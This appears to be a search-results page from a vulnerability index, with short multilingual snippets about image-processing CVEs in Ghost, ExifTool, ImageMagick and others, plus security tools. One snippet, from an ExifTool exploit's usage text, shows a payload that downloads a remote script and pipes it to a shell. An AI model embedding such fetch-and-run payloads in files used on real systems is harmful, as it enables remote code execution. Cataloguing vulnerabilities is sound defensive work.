2670 matches found
shotlooter
소개 Shotlooter 도구는 https://prnt.sc/ LightShot 소프트웨어를 통해에 업로드된 스크린샷 내부의 민감한 데이터를 OCR 및 이미지 처리 방법을 적용하여 찾기 위해 개발되었습니다. +-------------------+ 이미지 파일 |!/usr/bin/python | +--------------------+ | +-----민감함 |prnt.sc/sjgmm5 | |검색: | +--------------------+ | | | | 변환 문자열 |민감 키워드 | | .-.-.=- | +-------+...
CVE-2026-22187-Bio-Formats-unsafe-Java-deserialization-via-.bfmemo
CVE-2026-22187-Bio-Formats-unsafe-Java-deserialization-via-.bfmemo Bio-Formats ≤ 8.3.0 は、画像処理中に攻撃者が制御する .bfmemo キャッシュファイルの安全でない Java デシリアライゼーションを実行します。細工された .bfmemo は、信頼できないデータのデシリアライゼーションを引き起こす可能性があります（DoS／ロジック操作、ガジェットチェーンが存在する場合は潜在的に RCE）。 安全な再現（ローカルのみ）...
CVE-2019-19634
CVE-2019-19634 - class.upload.php = 2.0.4 任意ファイルアップロード 作者 - Jinny Ramsmark 影響を受けるベンダー - Verot.net 影響を受ける製品 - class.upload.php = 2.0.4 新規インストールしたUbuntu 14.04（PHP5およびApache使用）でテスト済み 特にDebian/Ubuntuは、利用可能なPHPハンドラーにpht拡張子などを追加するため、脆弱性があることが判明しています。この場合、class.upload.phpはpht拡張子をブラックリストに登録していません。...
sticky_keys_hunter
Sticky Keys Hunter This POC bash script tests for sticky keys and utilman backdoors. The script will connect to an RDP server, send both the sticky keys and utilman triggers and screenshot the result. This script was written to prove a theory I had about detecting these backdoors in a blackbox...
CVE-2025-43300
CVE-2025-43300: iOS/macOS DNG 이미지 처리 메모리 손상 개요 CVE-2025-43300은 Apple의 이미지 처리 프레임워크에서 발견된 심각한 메모리 손상 취약점으로, iOS 18.6.1 및 macOS 시스템에 영향을 미칩니다. 이 취약점은 RawCamera.bundle 내 JPEG 무손실 압축 해제 코드에 존재하며, DNG 파일 내 TIFF 메타데이터와 JPEG 스트림 매개변수 간 불일치로 인해 발생합니다. 취약점 세부 정보 근본 원인 이 취약점은 DNGDigital Negative 파일의...
POC-CVE-2021-22204
POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 이것은 테스트를 위해 작성한 편의 스크립트입니다. 출력 Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an image file notevil.jpg to be proccessed by...
EUVD-2026-92621
Ghost: Remote Code Execution via Bookmark Card Images...
CVE-2020-29599
CVE-2020-29599 Artifex ImageMagick ライブラリ Artifex のバージョン 6.9.11-40 および 7.0. 10-40 では、SVG ファイルが画像に変換されます。...
[SECURITY] Fedora 45 Update: ocaml-camlimages-5.0.5-14.fc45
This is an image processing library, which provides some basic functions of image processing and loading/saving various image file formats. In addition the library can handle huge images that cannot be or can hardly be stored into the memory the library automatically creates swap files and escape...
CVE-2026-105642
Ghost is a Node.js content management system. From 6.56.0 until 6.67.0, an image processing library bundled with Ghost contained a vulnerability in its SVG handling. Any staff user, including Contributors, could create a bookmark card for an attacker-controlled website, resulting in arbitrary...
CVE-2026-105642 Ghost: Remote Code Execution via Bookmark Card Images
Ghost is a Node.js content management system. From 6.56.0 until 6.67.0, an image processing library bundled with Ghost contained a vulnerability in its SVG handling. Any staff user, including Contributors, could create a bookmark card for an attacker-controlled website, resulting in arbitrary...
CVE-2026-105642: Improper Control of Generation of Code
Ghost is a Node.js content management system. From 6.56.0 until 6.67.0, an image processing library bundled with Ghost contained a vulnerability in its SVG handling. Any staff user, including Contributors, could create a bookmark card for an attacker-controlled website, resulting in arbitrary...
PT-2026-106138
Name of the Vulnerable Software and Affected Versions Ghost versions 6.56.0 through 6.66.0 Description A vulnerability exists in the SVG handling of an image processing library bundled with the Ghost content management system. A staff user with Contributor permissions or higher can create a...
CVE-2021-22204
CVE-2021-22204 - ExifTool 임의 코드 실행 CVE-2021-22204에 대한 개선된 개념 증명PoC입니다. 이 취약점은 ExifTool 7.4412.23 버전에 존재하며, 악성 DjVu 파일을 처리할 때 임의 코드 실행을 허용합니다. 크레딧 본 자료는 파생 작업입니다. 취약점과 원본 익스플로잇은 제가 만든 것이 아닙니다. 역할| 작성자 ---|--- 취약점 발견자| William Bowling @wcbowling, GitLab 버그 바운티 프로그램을 통해 보고 — 2021년 4월 원본 PoC 작성자|...
[SECURITY] Fedora 45 Update: GraphicsMagick-1.3.45-11.fc45
GraphicsMagick is a comprehensive image processing package which is initially based on ImageMagick 5.5.2, but which has undergone significant re-work by the GraphicsMagick Group to significantly improve the quality and performance of the software...
KeyDecoder
KeyDecoder KeyDecoder は、ペネトレーションテスターとセキュリティ愛好家のために作成されたモバイルアプリです。 鍵の写真から、そのビッティング（刻み）を簡単に測定できます。 Maxime BEASSE と Quentin CLEMENT によって開発されました。 ESIEA の FrenchKey および CNS と提携しています。 Flutter 3.13.6 と OpenCV 4.3.0 を搭載。 概要 KeyDecoder 概要 免責事項 インストール ビルド Android IOS リリース 使用方法 写真を撮る 切り抜き 背面ライン ショルダーライン 測定...
[SECURITY] Fedora 45 Update: perl-Imager-1.036-1.fc45
Imager is a module for creating and altering images. It can read and write various image formats, draw primitive shapes like lines,and polygons, blend multiple images together in various ways, scale, crop, render text and more...
CVE-2026-81180 SysReptor: Authenticated RCE by insecure image processing
SysReptor is a fully customizable pentest reporting platform. Prior to 2026.61, authenticated users of SysReptor Professional can upload image files whose formats cause image processing to invoke Ghostscript, allowing embedded PostScript to operate in the shared temporary directory. An attacker c...